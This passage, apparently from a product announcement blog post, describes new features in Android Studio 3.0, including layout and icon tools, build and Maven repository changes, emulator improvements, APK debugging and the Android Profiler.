    is even easier. To update your project to support the new Java 8 Language
    toolchain, simply update your Source and Target compatibility
    levels to 1.8 in the Project Structure dialog. Learn
    more
    .
  • Layout Editor The component tree in the
    Layout Editor has better drag-and-drop view insertions, and a new error
    panel. Learn
    more
    .
  • Adaptive Icon Wizard The new wizard
    creates a set of launcher icon assets and provides previews of how your
    adaptive icon will look with different launcher screen icon masks. Support for
    VectorDrawable layers is new for this release. Learn
    more
    .
  • XML Fonts & Downloadable Fonts If you
    target Android Oreo (API Level 26 and higher) for your Android app, you can now
    add custom fonts & downloadable fonts using XML with Android Studio
    3.0.
  • Android Things Support Android Studio
    3.0 includes a new set of templates in the New Project wizard and the New Module
    wizard to develop for the Android Things platform. Learn more.
  • IntelliJ Platform Update: Android Studio 3.0 includes the
    IntelliJ 2017.1 release, which has features such as Java 8 language refactoring,
    parameter hints, semantic highlighting, draggable breakpoints, enhanced version
    control search, and more. Learn
    more
    .

Build

  • Build Speed Improvements To further
    improve the speed of Gradle for larger scale projects with many modules, we
    introduced a rare breaking API change in the Android Gradle Plugin to
    improve scalability and build times. This change is one of reasons we jumped
    version numbers from Android Studio 2.4 to 3.0. If you depend on APIs provided
    by the previous Gradle plugin you should validate compatibility with the new
    plugin and migrate to the new APIs. To test, update the plugin version in your
    build.gradle file. Learn
    more
    .
  • Google’s Maven Repository To facilitate
    smaller and faster updates, Android Studio 3.0 utilizes Google’s Maven
    Repository by default instead of using the Android SDK Manager to find updates
    to Android Support Library, Google Play Services, and Firebase Maven
    dependencies. Used in combination with the latest command line SDK
    Manager tool
    and Gradle,
    Continuous Integration builds should migrate to Google’s Maven Repository for
    future Maven repository updates. Learn
    more
    .

Test & Debug

  • Google Play System Images We also
    updated the emulator system images for Android Oreo to now include the Google
    Play Store. Bundling in the Google Play store allows you to do end-to-end
    testing of apps with Google Play, and provides a convenient way to keep Google
    Play services up-to-date in your Android Virtual Device (AVD). Just as Google
    Play services updates on physical devices, you can trigger the same updates on
    your AVDs.

    Google Play Store in Android Emulator

    To ensure app security and a consistent experience with physical devices, the
    emulator system images with the Google Play store included are signed with a
    release key. This means you will not be able to get elevated privileges. If you
    require elevated privileges (root) to aid with your app troubleshooting, you can
    use the Android Open Source Project (AOSP) emulator system images that do not
    include Google apps or services. Learn more.

  • OpenGL ES 3.0 Support in Android Emulator
    The latest version of the Android Emulator has OpenGL ES 3.0 support
    for Android Oreo system images along with significant improvements in OpenGL ES
    2.0 graphics performance for older emulator system images. Learn
    more
    .
  • App Bug Reporter in Android Emulator To
    help in documenting bugs in your app, we have added an easier way to generate a
    bug report with the Android Emulator with all the necessary configuration
    settings and space to capture your repro steps. Learn
    more
    .
  • Proxy Support in Android If you use a
    proxy to access the Internet, we have added a user interface to manage the HTTP
    proxy settings used by the emulator. Lean
    more
    .
  • Android Emulator Quick Boot (Canary) One
    of the most common pain points we hear is that the emulator takes too long to
    boot. To address this concern, we are excited to preview a new feature to solve
    this called Quick Boot, which significantly speeds up your emulator start time.
    Once enabled, the first time you start an AVD a cold boot will occur (just like
    powering on a device), but all subsequent starts are fast and the system is
    restored to the state at which you closed the emulator (similar to waking a
    device). If you want to try it out, ensure you are on the canary update release
    channel and then you will find v26.2.0 of the Android Emulator in the SDK
    Manager. Learn
    more
    .
  • APK Debugging Android Studio 3.0 allows
    you to debug an arbitrary APK. This functionally is especially helpful for those
    who develop your Android C++ code in another IDE, but want to debug and analyze
    the APK in the context of Android Studio. As long as you have a debuggable
    version of your APK, you can use the new APK Debugging features to analyze,
    profile & debug the APK. Moreover, if you have access to the sources of your
    APK, you can link the source to the APK debugging flow for a higher fidelity
    debugging process. Get started by simply selecting Profile or debug
    APK
    from the Android Studio Welcome Screen or File → Profile or
    debug APK
    . Learn
    More
    .

APK Debugging

  • Layout Inspector In this release we have
    added a few additional enhancements for the Layout Inspector including better
    grouping of properties into common categories, as well as search functionality
    in both the View Tree and Properties Panels. Learn
    more
    .
  • Device File Explorer The new Device File
    Explorer in Android Studio 3.0 allows you to view the file and directory
    structure of your Android device or emulator. As you are testing your app, you
    can now quickly preview and modify app data files directly in Android Studio.
    Learn
    more
    .
  • Android Test Orchestrator Support – When used with
    AndroidJUnitRunner 1.0 or higher, the Android Gradle plugin 3.0 supports the use
    of the Android Test Orchestrator. The Android Test Orchestrator allows each of
    your app’s tests to run within its own Instrumentation.
    Learn
    more
    .

Optimize

  • Android Profiler Android Studio 3.0
    includes a brand new suite of tools to help debug performance problems in your
    app. We completely rewrote the previous set of Android Monitor tools, and
    replaced them with the Android Profiler. Once you deploy your app to a running
    device or emulator, click on the Android Profiler tab and you
    will now have access to a real-time & unified view of the CPU, Memory, & Network
    activity for your app. Each of the performance events are mapped to the UI event
    timeline which highlights touch events, key presses, and activity changes so
    that you have more context on when and why a certain event happened. Click on
    each timeline to dig into each performance aspect of your app. Learn
    more
    .

Android Profiler – Combined timeline view.

CPU Profiler


Memory Profiler


Network Profiler

  • APK Analyzer Improvements We also
    updated APK Analyzer with additional enhancements to help you further optimize
    the size of your APK. Learn
    more
    .

To recap, Android Studio 3.0 includes these new major features:

If you are using a previous version of Android Studio, you can upgrade to
Android Studio 3.0 today or you can download the update from the official
Android Studio Preview download
page
. As mentioned in this blog, there are some breaking Gradle Plugin API
changes to support new features in the IDE. Therefore, you should also update
your Android Gradle plugin version to 3.0.0 in your current project to test and
validate your app project setup.

We appreciate any feedback on things you like, issues or features you would like
to see. If you find a bug or issue, feel free to file an
issue
. Connect with us — the Android Studio development team ‐ on our Google+ page or on Twitter